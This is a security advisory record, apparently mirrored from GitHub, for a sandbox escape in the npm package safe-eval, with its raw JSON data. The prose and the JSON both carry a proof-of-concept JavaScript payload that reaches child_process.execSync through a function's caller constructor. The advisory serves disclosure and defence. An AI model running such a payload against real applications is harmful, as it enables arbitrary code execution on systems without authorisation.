GHSA-9PCF-H8Q9-63F6

Vulnerability from github – Published: 2020-09-03 17:12 – Updated: 2020-08-31 18:44
VLAI?
Summary
Sandbox Breakout / Arbitrary Code Execution in safe-eval
Details

All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.

For example, the payload ((() => { const targetKey = Object.keys(this)[0]; Object.defineProperty(this, targetKey, { get: function() { return arguments.callee.caller.constructor( "return global.process.mainModule.require('child_process').execSync('pwd').toString()" )(); } }); })(); may be used to print the pwd to the console.

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "safe-eval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:44:49Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function\u0027s callee and caller constructors can escape the sandbox and execute arbitrary code.  \n\nFor example, the payload \n```\n((() =\u003e { \nconst targetKey = Object.keys(this)[0]; \nObject.defineProperty(this, targetKey, { \nget: function() { \nreturn arguments.callee.caller.constructor( \n\"return global.process.mainModule.require(\u0027child_process\u0027).execSync(\u0027pwd\u0027).toString()\" \n)(); \n} \n}); \n})();```\nmay be used to print the `pwd` to the console.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.",
  "id": "GHSA-9pcf-h8q9-63f6",
  "modified": "2020-08-31T18:44:49Z",
  "published": "2020-09-03T17:12:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1033"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Sandbox Breakout / Arbitrary Code Execution in safe-eval"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.